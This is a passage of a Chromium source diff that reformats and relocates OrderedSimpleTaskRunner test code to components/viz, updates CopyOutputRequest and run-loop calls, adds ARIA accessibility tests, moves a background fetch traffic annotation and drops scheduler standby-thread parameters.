 // TestOrderablePendingTask implementation
 TestOrderablePendingTask::TestOrderablePendingTask()
     : base::TestPendingTask(),
-      task_id_(TestOrderablePendingTask::task_id_counter++) {
-}
+      task_id_(TestOrderablePendingTask::task_id_counter++) {}
 
 TestOrderablePendingTask::TestOrderablePendingTask(
     const tracked_objects::Location& location,
@@ -55,8 +54,7 @@
 
 size_t TestOrderablePendingTask::task_id_counter = 0;
 
-TestOrderablePendingTask::~TestOrderablePendingTask() {
-}
+TestOrderablePendingTask::~TestOrderablePendingTask() {}
 
 bool TestOrderablePendingTask::operator==(
     const TestOrderablePendingTask& other) const {
@@ -95,8 +93,7 @@
     : advance_now_(advance_now),
       now_src_(now_src),
       max_tasks_(kAbsoluteMaxTasks),
-      inside_run_tasks_until_(false) {
-}
+      inside_run_tasks_until_(false) {}
 
 OrderedSimpleTaskRunner::~OrderedSimpleTaskRunner() {}
 
@@ -176,12 +173,8 @@
 
 bool OrderedSimpleTaskRunner::RunTasksWhile(
     const std::vector<base::Callback<bool(void)>>& conditions) {
-  TRACE_EVENT2("cc",
-               "OrderedSimpleTaskRunner::RunPendingTasks",
-               "this",
-               AsValue(),
-               "nested",
-               inside_run_tasks_until_);
+  TRACE_EVENT2("cc", "OrderedSimpleTaskRunner::RunPendingTasks", "this",
+               AsValue(), "nested", inside_run_tasks_until_);
   DCHECK(thread_checker_.CalledOnValidThread());
 
   if (inside_run_tasks_until_)
@@ -214,8 +207,7 @@
     bool condition_success = true;
     for (std::vector<base::Callback<bool(void)>>::iterator it =
              modifiable_conditions.begin();
-         it != modifiable_conditions.end();
-         it++) {
+         it != modifiable_conditions.end(); it++) {
       condition_success = it->Run();
       if (!condition_success)
         break;
@@ -230,10 +222,8 @@
     std::set<TestOrderablePendingTask>::iterator task_to_run =
         pending_tasks_.begin();
     {
-      TRACE_EVENT1("cc",
-                   "OrderedSimpleTaskRunner::RunPendingTasks running",
-                   "task",
-                   task_to_run->AsValue());
+      TRACE_EVENT1("cc", "OrderedSimpleTaskRunner::RunPendingTasks running",
+                   "task", task_to_run->AsValue());
       // It's safe to remove const and consume |task| here, since |task| is not
       // used for ordering the item.
       base::OnceClosure& task =
@@ -295,8 +285,7 @@
   state->BeginArray("tasks");
   for (std::set<TestOrderablePendingTask>::const_iterator it =
            pending_tasks_.begin();
-       it != pending_tasks_.end();
-       ++it) {
+       it != pending_tasks_.end(); ++it) {
     state->BeginDictionary();
     it->AsValueInto(state);
     state->EndDictionary();
@@ -316,8 +305,7 @@
 base::Callback<bool(void)> OrderedSimpleTaskRunner::TaskRunCountBelow(
     size_t max_tasks) {
   return base::Bind(&OrderedSimpleTaskRunner::TaskRunCountBelowCallback,
-                    max_tasks,
-                    base::Owned(new size_t(0)));
+                    max_tasks, base::Owned(new size_t(0)));
 }
 
 bool OrderedSimpleTaskRunner::TaskRunCountBelowCallback(size_t max_tasks,
@@ -343,8 +331,7 @@
 base::Callback<bool(void)> OrderedSimpleTaskRunner::NowBefore(
     base::TimeTicks stop_at) {
   return base::Bind(&OrderedSimpleTaskRunner::NowBeforeCallback,
-                    base::Unretained(this),
-                    stop_at);
+                    base::Unretained(this), stop_at);
 }
 bool OrderedSimpleTaskRunner::NowBeforeCallback(base::TimeTicks stop_at) {
   return NextTaskTime() <= stop_at;
diff --git a/cc/test/ordered_simple_task_runner.h b/components/viz/test/ordered_simple_task_runner.h
similarity index 96%
rename from cc/test/ordered_simple_task_runner.h
rename to components/viz/test/ordered_simple_task_runner.h
index de1df98..4a2e7e54 100644
--- a/cc/test/ordered_simple_task_runner.h
+++ b/components/viz/test/ordered_simple_task_runner.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef CC_TEST_ORDERED_SIMPLE_TASK_RUNNER_H_
-#define CC_TEST_ORDERED_SIMPLE_TASK_RUNNER_H_
+#ifndef COMPONENTS_VIZ_TEST_ORDERED_SIMPLE_TASK_RUNNER_H_
+#define COMPONENTS_VIZ_TEST_ORDERED_SIMPLE_TASK_RUNNER_H_
 
 #include <stddef.h>
 
@@ -164,4 +164,4 @@
 
 }  // namespace cc
 
-#endif  // CC_TEST_ORDERED_SIMPLE_TASK_RUNNER_H_
+#endif  // COMPONENTS_VIZ_TEST_ORDERED_SIMPLE_TASK_RUNNER_H_
diff --git a/cc/test/ordered_simple_task_runner_unittest.cc b/components/viz/test/ordered_simple_task_runner_unittest.cc
similarity index 85%
rename from cc/test/ordered_simple_task_runner_unittest.cc
rename to components/viz/test/ordered_simple_task_runner_unittest.cc
index d6ffd99..cba677b 100644
--- a/cc/test/ordered_simple_task_runner_unittest.cc
+++ b/components/viz/test/ordered_simple_task_runner_unittest.cc
@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 
 #include <memory>
 #include <string>
@@ -17,10 +17,10 @@
 // We pass EXPECT_TRUE / EXPECT_FALSE macros rather than a boolean as on some
 // compilers EXPECT_EQ(false, XXXX) fails to compile as gtest tries to convert
 // the false value to null causing a -Werror=conversion-null error.
-#define RUN_AND_CHECK_RESULT(                             \
-    tasks_remain_expect_macro, run_func, expected_result) \
-  tasks_remain_expect_macro(task_runner_->run_func);      \
-  EXPECT_EQ(expected_result, executed_tasks_);            \
+#define RUN_AND_CHECK_RESULT(tasks_remain_expect_macro, run_func, \
+                             expected_result)                     \
+  tasks_remain_expect_macro(task_runner_->run_func);              \
+  EXPECT_EQ(expected_result, executed_tasks_);                    \
   executed_tasks_ = "";
 
 namespace {
@@ -32,7 +32,7 @@
 bool ReturnFalse() {
   return false;
 }
-};
+};  // namespace
 
 namespace cc {
 
@@ -68,16 +68,14 @@
 
   void PostTask(int task_num, base::TimeDelta delay) {
     base::Closure test_task = base::Bind(&OrderedSimpleTaskRunnerTest::Task,
-                                         base::Unretained(this),
-                                         task_num);
+                                         base::Unretained(this), task_num);
     task_runner_->PostDelayedTask(FROM_HERE, test_task, delay);
   }
 
   void PostTaskWhichPostsInstantTask(int task_num, base::TimeDelta delay) {
     base::Closure test_task =
         base::Bind(&OrderedSimpleTaskRunnerTest::TaskWhichPostsInstantTask,
-                   base::Unretained(this),
-                   task_num);
+                   base::Unretained(this), task_num);
     task_runner_->PostDelayedTask(FROM_HERE, test_task, delay);
   }
 
@@ -86,26 +84,21 @@
                                      base::TimeDelta delay2) {
     base::Closure test_task =
         base::Bind(&OrderedSimpleTaskRunnerTest::TaskWhichPostsDelayedTask,
-                   base::Unretained(this),
-                   task_num,
-                   delay2);
+                   base::Unretained(this), task_num, delay2);
     task_runner_->PostDelayedTask(FROM_HERE, test_task, delay1);
   }
 
   void PostTaskWhichCallsRun(int task_num, base::TimeDelta delay) {
     base::Closure test_task =
         base::Bind(&OrderedSimpleTaskRunnerTest::TaskWhichCallsRun,
-                   base::Unretained(this),
-                   task_num);
+                   base::Unretained(this), task_num);
     task_runner_->PostDelayedTask(FROM_HERE, test_task, delay);
   }
 
   void PostTaskWhichPostsTaskAgain(int task_num, base::TimeDelta delay) {
     base::Closure test_task =
         base::Bind(&OrderedSimpleTaskRunnerTest::TaskWhichPostsAgain,
-                   base::Unretained(this),
-                   task_num,
-                   delay);
+                   base::Unretained(this), task_num, delay);
     task_runner_->PostDelayedTask(FROM_HERE, test_task, delay);
   }
 
@@ -160,53 +153,47 @@
   PostTaskWhichPostsInstantTask(3, base::TimeDelta());
 
   RUN_AND_CHECK_RESULT(EXPECT_TRUE, RunPendingTasks(), "1(0ms) 2(0ms) 3(0ms)");
-  RUN_AND_CHECK_RESULT(
-      EXPECT_FALSE, RunPendingTasks(), "-1(0ms) -2(0ms) -3(0ms)");
+  RUN_AND_CHECK_RESULT(EXPECT_FALSE, RunPendingTasks(),
+                       "-1(0ms) -2(0ms) -3(0ms)");
   RUN_AND_CHECK_RESULT(EXPECT_FALSE, RunPendingTasks(), "");
 }
 
 TEST_F(OrderedSimpleTaskRunnerTest, SimpleOrderingTestPostingDelayedTasks) {
-  PostTaskWhichPostsDelayedTask(
-      1, base::TimeDelta(), base::TimeDelta::FromMilliseconds(1));
-  PostTaskWhichPostsDelayedTask(
-      2, base::TimeDelta(), base::TimeDelta::FromMilliseconds(1));
-  PostTaskWhichPostsDelayedTask(
-      3, base::TimeDelta(), base::TimeDelta::FromMilliseconds(1));
+  PostTaskWhichPostsDelayedTask(1, base::TimeDelta(),
+                                base::TimeDelta::FromMilliseconds(1));
+  PostTaskWhichPostsDelayedTask(2, base::TimeDelta(),
+                                base::TimeDelta::FromMilliseconds(1));
+  PostTaskWhichPostsDelayedTask(3, base::TimeDelta(),
+                                base::TimeDelta::FromMilliseconds(1));
 
   RUN_AND_CHECK_RESULT(EXPECT_TRUE, RunPendingTasks(), "1(0ms) 2(0ms) 3(0ms)");
-  RUN_AND_CHECK_RESULT(
-      EXPECT_FALSE, RunPendingTasks(), "-1(1ms) -2(1ms) -3(1ms)");
+  RUN_AND_CHECK_RESULT(EXPECT_FALSE, RunPendingTasks(),
+                       "-1(1ms) -2(1ms) -3(1ms)");
   RUN_AND_CHECK_RESULT(EXPECT_FALSE, RunPendingTasks(), "");
 }
 
 TEST_F(OrderedSimpleTaskRunnerTest,
        SimpleOrderingTestPostingReordingDelayedTasks) {
-  PostTaskWhichPostsDelayedTask(1,
-                                base::TimeDelta::FromMilliseconds(1),
+  PostTaskWhichPostsDelayedTask(1, base::TimeDelta::FromMilliseconds(1),
                                 base::TimeDelta::FromMilliseconds(20));
-  PostTaskWhichPostsDelayedTask(2,
-                                base::TimeDelta::FromMilliseconds(2),
+  PostTaskWhichPostsDelayedTask(2, base::TimeDelta::FromMilliseconds(2),
                                 base::TimeDelta::FromMilliseconds(5));
-  PostTaskWhichPostsDelayedTask(3,
-                                base::TimeDelta::FromMilliseconds(3),
+  PostTaskWhichPostsDelayedTask(3, base::TimeDelta::FromMilliseconds(3),
                                 base::TimeDelta::FromMilliseconds(5));
 
   RUN_AND_CHECK_RESULT(EXPECT_TRUE, RunPendingTasks(), "1(1ms) 2(2ms) 3(3ms)");
-  RUN_AND_CHECK_RESULT(
-      EXPECT_FALSE, RunPendingTasks(), "-2(7ms) -3(8ms) -1(21ms)");
+  RUN_AND_CHECK_RESULT(EXPECT_FALSE, RunPendingTasks(),
+                       "-2(7ms) -3(8ms) -1(21ms)");
   RUN_AND_CHECK_RESULT(EXPECT_FALSE, RunPendingTasks(), "");
 }
 
 TEST_F(OrderedSimpleTaskRunnerTest,
        SimpleOrderingTestPostingReordingDelayedTasksOverlap) {
-  PostTaskWhichPostsDelayedTask(1,
-                                base::TimeDelta::FromMilliseconds(1),
+  PostTaskWhichPostsDelayedTask(1, base::TimeDelta::FromMilliseconds(1),
                                 base::TimeDelta::FromMilliseconds(5));
-  PostTaskWhichPostsDelayedTask(2,
-                                base::TimeDelta::FromMilliseconds(5),
+  PostTaskWhichPostsDelayedTask(2, base::TimeDelta::FromMilliseconds(5),
                                 base::TimeDelta::FromMilliseconds(10));
-  PostTaskWhichPostsDelayedTask(3,
-                                base::TimeDelta::FromMilliseconds(10),
+  PostTaskWhichPostsDelayedTask(3, base::TimeDelta::FromMilliseconds(10),
                                 base::TimeDelta::FromMilliseconds(1));
 
   RUN_AND_CHECK_RESULT(EXPECT_TRUE, RunPendingTasks(), "1(1ms) 2(5ms)");
@@ -227,11 +214,11 @@
 
 TEST_F(OrderedSimpleTaskRunnerTest,
        SimpleOrderingTestPostingDelayedAndRentrantTasks) {
-  PostTaskWhichPostsDelayedTask(
-      1, base::TimeDelta(), base::TimeDelta::FromMilliseconds(1));
+  PostTaskWhichPostsDelayedTask(1, base::TimeDelta(),
+                                base::TimeDelta::FromMilliseconds(1));
   PostTaskWhichCallsRun(2, base::TimeDelta());
-  PostTaskWhichPostsDelayedTask(
-      3, base::TimeDelta(), base::TimeDelta::FromMilliseconds(1));
+  PostTaskWhichPostsDelayedTask(3, base::TimeDelta(),
+                                base::TimeDelta::FromMilliseconds(1));
 
   RUN_AND_CHECK_RESULT(EXPECT_TRUE, RunPendingTasks(), "1(0ms) 2(0ms) 3(0ms)");
   RUN_AND_CHECK_RESULT(EXPECT_FALSE, RunPendingTasks(), "-1(1ms) -3(1ms)");
@@ -244,8 +231,8 @@
   PostTask(3, base::TimeDelta());
   PostTask(4, base::TimeDelta::FromMilliseconds(8));
 
-  RUN_AND_CHECK_RESULT(
-      EXPECT_FALSE, RunPendingTasks(), "1(0ms) 3(0ms) 4(8ms) 2(15ms)");
+  RUN_AND_CHECK_RESULT(EXPECT_FALSE, RunPendingTasks(),
+                       "1(0ms) 3(0ms) 4(8ms) 2(15ms)");
   RUN_AND_CHECK_RESULT(EXPECT_FALSE, RunPendingTasks(), "");
 }
 
@@ -256,8 +243,8 @@
   PostTaskWhichPostsInstantTask(4, base::TimeDelta::FromMilliseconds(8));
 
   RUN_AND_CHECK_RESULT(EXPECT_TRUE, RunPendingTasks(), "1(0ms) 3(0ms)");
-  RUN_AND_CHECK_RESULT(
-      EXPECT_TRUE, RunPendingTasks(), "-1(0ms) -3(0ms) 4(8ms)");
+  RUN_AND_CHECK_RESULT(EXPECT_TRUE, RunPendingTasks(),
+                       "-1(0ms) -3(0ms) 4(8ms)");
   RUN_AND_CHECK_RESULT(EXPECT_TRUE, RunPendingTasks(), "-4(8ms) 2(15ms)");
   RUN_AND_CHECK_RESULT(EXPECT_FALSE, RunPendingTasks(), "-2(15ms)");
   RUN_AND_CHECK_RESULT(EXPECT_FALSE, RunPendingTasks(), "");
@@ -299,8 +286,8 @@
   base::TimeTicks run_at = base::TimeTicks();
 
   run_at += base::TimeDelta::FromMilliseconds(2);
-  RUN_AND_CHECK_RESULT(
-      EXPECT_TRUE, RunUntilTime(run_at), "1(0ms) -1(0ms) 2(2ms) -2(2ms)");
+  RUN_AND_CHECK_RESULT(EXPECT_TRUE, RunUntilTime(run_at),
+                       "1(0ms) -1(0ms) 2(2ms) -2(2ms)");
   EXPECT_EQ(run_at, now_src_->NowTicks());
 
   run_at += base::TimeDelta::FromMilliseconds(1);
@@ -322,8 +309,8 @@
   base::TimeTicks run_at = base::TimeTicks();
 
   run_at += base::TimeDelta::FromMilliseconds(2);
-  RUN_AND_CHECK_RESULT(
-      EXPECT_TRUE, RunUntilTime(run_at), "1(2ms) 2(2ms) -1(2ms) -2(2ms)");
+  RUN_AND_CHECK_RESULT(EXPECT_TRUE, RunUntilTime(run_at),
+                       "1(2ms) 2(2ms) -1(2ms) -2(2ms)");
   EXPECT_EQ(run_at, now_src_->NowTicks());
 
   run_at += base::TimeDelta::FromMilliseconds(1);
@@ -352,8 +339,8 @@
   EXPECT_EQ(base::TimeTicks() + base::TimeDelta::FromMilliseconds(3),
             now_src_->NowTicks());
 
-  RUN_AND_CHECK_RESULT(
-      EXPECT_FALSE, RunForPeriod(base::TimeDelta::FromMilliseconds(1)), "");
+  RUN_AND_CHECK_RESULT(EXPECT_FALSE,
+                       RunForPeriod(base::TimeDelta::FromMilliseconds(1)), "");
   EXPECT_EQ(base::TimeTicks() + base::TimeDelta::FromMilliseconds(4),
             now_src_->NowTicks());
 }
@@ -432,8 +419,8 @@
 
   EXPECT_EQ(base::TimeTicks(), now_src_->NowTicks());
   task_runner_->SetRunTaskLimit(3);
-  RUN_AND_CHECK_RESULT(
-      EXPECT_TRUE, RunUntilTime(run_to), "1(1ms) 2(2ms) 3(3ms)");
+  RUN_AND_CHECK_RESULT(EXPECT_TRUE, RunUntilTime(run_to),
+                       "1(1ms) 2(2ms) 3(3ms)");
   EXPECT_EQ(base::TimeTicks() + base::TimeDelta::FromMilliseconds(3),
             now_src_->NowTicks());
 
diff --git a/components/viz/test/test_layer_tree_frame_sink.cc b/components/viz/test/test_layer_tree_frame_sink.cc
index 43c7c33..187336b 100644
--- a/components/viz/test/test_layer_tree_frame_sink.cc
+++ b/components/viz/test/test_layer_tree_frame_sink.cc
@@ -9,12 +9,12 @@
 
 #include "base/memory/ptr_util.h"
 #include "base/single_thread_task_runner.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/output/direct_renderer.h"
 #include "cc/output/layer_tree_frame_sink_client.h"
 #include "cc/output/output_surface.h"
 #include "cc/output/texture_mailbox_deleter.h"
 #include "components/viz/common/frame_sinks/begin_frame_args.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "components/viz/service/frame_sinks/compositor_frame_sink_support.h"
 
 namespace viz {
@@ -54,7 +54,7 @@
 }
 
 void TestLayerTreeFrameSink::RequestCopyOfOutput(
-    std::unique_ptr<cc::CopyOutputRequest> request) {
+    std::unique_ptr<CopyOutputRequest> request) {
   copy_requests_.push_back(std::move(request));
 }
 
diff --git a/components/viz/test/test_layer_tree_frame_sink.h b/components/viz/test/test_layer_tree_frame_sink.h
index aba4aad..9dcf085 100644
--- a/components/viz/test/test_layer_tree_frame_sink.h
+++ b/components/viz/test/test_layer_tree_frame_sink.h
@@ -78,7 +78,7 @@
   Display* display() const { return display_.get(); }
 
   // Will be included with the next SubmitCompositorFrame.
-  void RequestCopyOfOutput(std::unique_ptr<cc::CopyOutputRequest> request);
+  void RequestCopyOfOutput(std::unique_ptr<CopyOutputRequest> request);
 
   // LayerTreeFrameSink implementation.
   bool BindToClient(cc::LayerTreeFrameSinkClient* client) override;
@@ -137,7 +137,7 @@
   TestLayerTreeFrameSinkClient* test_client_ = nullptr;
   gfx::Size enlarge_pass_texture_amount_;
 
-  std::vector<std::unique_ptr<cc::CopyOutputRequest>> copy_requests_;
+  std::vector<std::unique_ptr<CopyOutputRequest>> copy_requests_;
 
   base::WeakPtrFactory<TestLayerTreeFrameSink> weak_ptr_factory_;
 };
diff --git a/components/wifi/wifi_test.cc b/components/wifi/wifi_test.cc
index b6cb8fd..9440d64 100644
--- a/components/wifi/wifi_test.cc
+++ b/components/wifi/wifi_test.cc
@@ -53,7 +53,7 @@
     DCHECK_NE(RESULT_PENDING, result);
     result_ = result;
     if (base::MessageLoop::current())
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void OnNetworksChanged(
diff --git a/content/browser/BUILD.gn b/content/browser/BUILD.gn
index ac490033..9549927 100644
--- a/content/browser/BUILD.gn
+++ b/content/browser/BUILD.gn
@@ -1396,8 +1396,6 @@
     "service_worker/service_worker_data_pipe_reader.h",
     "service_worker/service_worker_database.cc",
     "service_worker/service_worker_database.h",
-    "service_worker/service_worker_database_task_manager.cc",
-    "service_worker/service_worker_database_task_manager.h",
     "service_worker/service_worker_disk_cache.cc",
     "service_worker/service_worker_disk_cache.h",
     "service_worker/service_worker_dispatcher_host.cc",
diff --git a/content/browser/accessibility/dump_accessibility_tree_browsertest.cc b/content/browser/accessibility/dump_accessibility_tree_browsertest.cc
index 7165070..289aeac 100644
--- a/content/browser/accessibility/dump_accessibility_tree_browsertest.cc
+++ b/content/browser/accessibility/dump_accessibility_tree_browsertest.cc
@@ -821,6 +821,20 @@
   RunAriaTest(FILE_PATH_LITERAL("aria-treegrid.html"));
 }
 
+IN_PROC_BROWSER_TEST_F(DumpAccessibilityTreeTest, AccessibilityAriaUndefined) {
+  RunAriaTest(FILE_PATH_LITERAL("aria-undefined.html"));
+}
+
+IN_PROC_BROWSER_TEST_F(DumpAccessibilityTreeTest,
+                       AccessibilityAriaUndefinedLiteral) {
+  RunAriaTest(FILE_PATH_LITERAL("aria-undefined-literal.html"));
+}
+
+IN_PROC_BROWSER_TEST_F(DumpAccessibilityTreeTest,
+                       AccessibilityAriaEmptyString) {
+  RunAriaTest(FILE_PATH_LITERAL("aria-empty-string.html"));
+}
+
 IN_PROC_BROWSER_TEST_F(DumpAccessibilityTreeTest,
     DISABLED_AccessibilityAriaValueMin) {
   RunAriaTest(FILE_PATH_LITERAL("aria-valuemin.html"));
diff --git a/content/browser/appcache/appcache_storage_impl_unittest.cc b/content/browser/appcache/appcache_storage_impl_unittest.cc
index 4752d8f..8a33138 100644
--- a/content/browser/appcache/appcache_storage_impl_unittest.cc
+++ b/content/browser/appcache/appcache_storage_impl_unittest.cc
@@ -280,7 +280,6 @@
         : QuotaManager(true /* is_incognito */,
                        base::FilePath(),
                        io_thread->task_runner().get(),
-                       background_thread->task_runner().get(),
                        nullptr,
                        storage::GetQuotaSettingsFunc()),
           async_(false) {}
diff --git a/content/browser/appcache/appcache_subresource_url_factory.cc b/content/browser/appcache/appcache_subresource_url_factory.cc
index 0e303c2..de64199 100644
--- a/content/browser/appcache/appcache_subresource_url_factory.cc
+++ b/content/browser/appcache/appcache_subresource_url_factory.cc
@@ -109,4 +109,4 @@
   base::ThreadTaskRunnerHandle::Get()->DeleteSoon(FROM_HERE, this);
 }
 
-}  // namespace content
+}  // namespace content
\ No newline at end of file
diff --git a/content/browser/background_fetch/background_fetch_delegate_proxy.cc b/content/browser/background_fetch/background_fetch_delegate_proxy.cc
index cfa807d..3d1f1472 100644
--- a/content/browser/background_fetch/background_fetch_delegate_proxy.cc
+++ b/content/browser/background_fetch/background_fetch_delegate_proxy.cc
@@ -4,6 +4,9 @@
 
 #include "content/browser/background_fetch/background_fetch_delegate_proxy.h"
 
+#include <unordered_map>
+#include <utility>
+
 #include "base/memory/ptr_util.h"
 #include "build/build_config.h"
 #include "content/browser/background_fetch/background_fetch_job_controller.h"
@@ -42,6 +45,34 @@
         registration_id_(registration_id),
         browser_context_(browser_context),
         request_context_(std::move(request_context)),
+        traffic_annotation_(
+            net::DefineNetworkTrafficAnnotation("background_fetch_context",
+                                                R"(
+            semantics {
+              sender: "Background Fetch API"
+              description:
+                "The Background Fetch API enables developers to upload or "
+                "download files on behalf of the user. Such fetches will yield "
+                "a user visible notification to inform the user of the "
+                "operation, through which it can be suspended, resumed and/or "
+                "cancelled. The developer retains control of the file once the "
+                "fetch is completed,  similar to XMLHttpRequest and other "
+                "mechanisms for fetching resources using JavaScript."
+              trigger:
+                "When the website uses the Background Fetch API to request "
+                "fetching a file and/or a list of files. This is a Web "
+                "Platform API for which no express user permission is required."
+              data:
+                "The request headers and data as set by the website's "
+                "developer."
+              destination: WEBSITE
+            }
+            policy {
+              cookies_allowed: YES
+              cookies_store: "user"
+              setting: "This feature cannot be disabled in settings."
+              policy_exception_justification: "Not implemented."
+            })")),
         weak_ptr_factory_(this) {
     // Although the Core lives only on the UI thread, it is constructed on IO.
     DCHECK_CURRENTLY_ON(BrowserThread::IO);
@@ -57,9 +88,7 @@
     return weak_ptr_factory_.GetWeakPtr();
   }
 
-  void StartRequest(
-      scoped_refptr<BackgroundFetchRequestInfo> request,
-      const net::NetworkTrafficAnnotationTag& traffic_annotation) {
+  void StartRequest(scoped_refptr<BackgroundFetchRequestInfo> request) {
     DCHECK_CURRENTLY_ON(BrowserThread::UI);
     DCHECK(request_context_);
     DCHECK(request);
@@ -72,7 +101,7 @@
 
     std::unique_ptr<DownloadUrlParameters> download_parameters(
         base::MakeUnique<DownloadUrlParameters>(
-            fetch_request.url, request_context_.get(), traffic_annotation));
+            fetch_request.url, request_context_.get(), traffic_annotation_));
 
     // TODO(peter): The |download_parameters| should be populated with all the
     // properties set in the |fetch_request| structure.
@@ -209,6 +238,9 @@
   // The URL request context to use when issuing the requests.
   scoped_refptr<net::URLRequestContextGetter> request_context_;
 
+  // Traffic annotation for network request.
+  const net::NetworkTrafficAnnotationTag traffic_annotation_;
+
   // Map from DownloadItem* to the request info for the in-progress downloads.
   std::unordered_map<DownloadItem*, scoped_refptr<BackgroundFetchRequestInfo>>
       downloads_;
@@ -224,33 +256,6 @@
     BrowserContext* browser_context,
     scoped_refptr<net::URLRequestContextGetter> request_context)
     : job_controller_(job_controller),
-      traffic_annotation_(
-          net::DefineNetworkTrafficAnnotation("background_fetch_context", R"(
-            semantics {
-              sender: "Background Fetch API"
-              description:
-                "The Background Fetch API enables developers to upload or "
-                "download files on behalf of the user. Such fetches will yield "
-                "a user visible notification to inform the user of the "
-                "operation, through which it can be suspended, resumed and/or "
-                "cancelled. The developer retains control of the file once the "
-                "fetch is completed,  similar to XMLHttpRequest and other "
-                "mechanisms for fetching resources using JavaScript."
-              trigger:
-                "When the website uses the Background Fetch API to request "
-                "fetching a file and/or a list of files. This is a Web "
-                "Platform API for which no express user permission is required."
-              data:
-                "The request headers and data as set by the website's "
-                "developer."
-              destination: WEBSITE
-            }
-            policy {
-              cookies_allowed: YES
-              cookies_store: "user"
-              setting: "This feature cannot be disabled in settings."
-              policy_exception_justification: "Not implemented."
-            })")),
       weak_ptr_factory_(this) {
   DCHECK_CURRENTLY_ON(BrowserThread::IO);
 
@@ -272,9 +277,9 @@
     scoped_refptr<BackgroundFetchRequestInfo> request) {
   DCHECK_CURRENTLY_ON(BrowserThread::IO);
 
-  BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,
-                          base::Bind(&Core::StartRequest, ui_core_ptr_,
-                                     std::move(request), traffic_annotation_));
+  BrowserThread::PostTask(
+      BrowserThread::UI, FROM_HERE,
+      base::Bind(&Core::StartRequest, ui_core_ptr_, std::move(request)));
 }
 
 void BackgroundFetchDelegateProxy::UpdateUI(const std::string& title) {
diff --git a/content/browser/background_fetch/background_fetch_delegate_proxy.h b/content/browser/background_fetch/background_fetch_delegate_proxy.h
index b0aebfa..86135408 100644
--- a/content/browser/background_fetch/background_fetch_delegate_proxy.h
+++ b/content/browser/background_fetch/background_fetch_delegate_proxy.h
@@ -5,12 +5,14 @@
 #ifndef CONTENT_BROWSER_BACKGROUND_FETCH_BACKGROUND_FETCH_DELEGATE_PROXY_H_
 #define CONTENT_BROWSER_BACKGROUND_FETCH_BACKGROUND_FETCH_DELEGATE_PROXY_H_
 
+#include <memory>
+#include <string>
+
 #include "base/macros.h"
 #include "base/memory/weak_ptr.h"
 #include "content/browser/background_fetch/background_fetch_registration_id.h"
 #include "content/browser/background_fetch/background_fetch_request_info.h"
 #include "content/public/browser/browser_thread.h"
-#include "net/traffic_annotation/network_traffic_annotation.h"
 
 namespace net {
 class URLRequestContextGetter;
@@ -70,9 +72,6 @@
   std::unique_ptr<Core, BrowserThread::DeleteOnUIThread> ui_core_;
   base::WeakPtr<Core> ui_core_ptr_;
 
-  // Traffic annotation for network request.
-  const net::NetworkTrafficAnnotationTag traffic_annotation_;
-
   base::WeakPtrFactory<BackgroundFetchDelegateProxy> weak_ptr_factory_;
 
   DISALLOW_COPY_AND_ASSIGN(BackgroundFetchDelegateProxy);
diff --git a/content/browser/browser_associated_interface_unittest.cc b/content/browser/browser_associated_interface_unittest.cc
index 504474e..c18a79d 100644
--- a/content/browser/browser_associated_interface_unittest.cc
+++ b/content/browser/browser_associated_interface_unittest.cc
@@ -106,7 +106,7 @@
   void RequestQuit(RequestQuitCallback callback) override {
     EXPECT_EQ(kNumTestMessages, message_count_);
     std::move(callback).Run();
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   std::string next_expected_string_;
diff --git a/content/browser/browser_main_loop.cc b/content/browser/browser_main_loop.cc
index 33d79ad..c2b9565 100644
--- a/content/browser/browser_main_loop.cc
+++ b/content/browser/browser_main_loop.cc
@@ -404,47 +404,37 @@
 
 std::unique_ptr<base::TaskScheduler::InitParams>
 GetDefaultTaskSchedulerInitParams() {
-  using StandbyThreadPolicy =
-      base::SchedulerWorkerPoolParams::StandbyThreadPolicy;
 #if defined(OS_ANDROID)
   // Mobile config, for iOS see ios/web/app/web_main_loop.cc.
   return base::MakeUnique<base::TaskScheduler::InitParams>(
       base::SchedulerWorkerPoolParams(
-          StandbyThreadPolicy::ONE,
           base::RecommendedMaxNumberOfThreadsInPool(2, 8, 0.1, 0),
           base::TimeDelta::FromSeconds(30)),
       base::SchedulerWorkerPoolParams(
-          StandbyThreadPolicy::ONE,
           base::RecommendedMaxNumberOfThreadsInPool(2, 8, 0.1, 0),
           base::TimeDelta::FromSeconds(30)),
       base::SchedulerWorkerPoolParams(
-          StandbyThreadPolicy::ONE,
           base::RecommendedMaxNumberOfThreadsInPool(3, 8, 0.3, 0),
           base::TimeDelta::FromSeconds(30)),
       base::SchedulerWorkerPoolParams(
-          StandbyThreadPolicy::ONE,
           base::RecommendedMaxNumberOfThreadsInPool(3, 8, 0.3, 0),
           base::TimeDelta::FromSeconds(60)));
 #else
   // Desktop config.
   return base::MakeUnique<base::TaskScheduler::InitParams>(
       base::SchedulerWorkerPoolParams(
-          StandbyThreadPolicy::ONE,
           base::RecommendedMaxNumberOfThreadsInPool(3, 8, 0.1, 0),
           base::TimeDelta::FromSeconds(30)),
       base::SchedulerWorkerPoolParams(
-          StandbyThreadPolicy::ONE,
           base::RecommendedMaxNumberOfThreadsInPool(3, 8, 0.1, 0),
           base::TimeDelta::FromSeconds(40)),
       base::SchedulerWorkerPoolParams(
-          StandbyThreadPolicy::ONE,
           base::RecommendedMaxNumberOfThreadsInPool(8, 32, 0.3, 0),
           base::TimeDelta::FromSeconds(30)),
       // Tasks posted to SequencedWorkerPool or BrowserThreadImpl may be
       // redirected to this pool. Since COM STA is initialized in these
       // environments, it must also be initialized in this pool.
       base::SchedulerWorkerPoolParams(
-          StandbyThreadPolicy::ONE,
           base::RecommendedMaxNumberOfThreadsInPool(8, 32, 0.3, 0),
           base::TimeDelta::FromSeconds(60),
           base::SchedulerBackwardCompatibility::INIT_COM_STA));
@@ -979,7 +969,6 @@
               task_scheduler_init_params->foreground_worker_pool_params);
       task_scheduler_init_params->foreground_worker_pool_params =
           base::SchedulerWorkerPoolParams(
-              current_foreground_worker_pool_params.standby_thread_policy(),
               std::max(GetMinThreadsInRendererTaskSchedulerForegroundPool(),
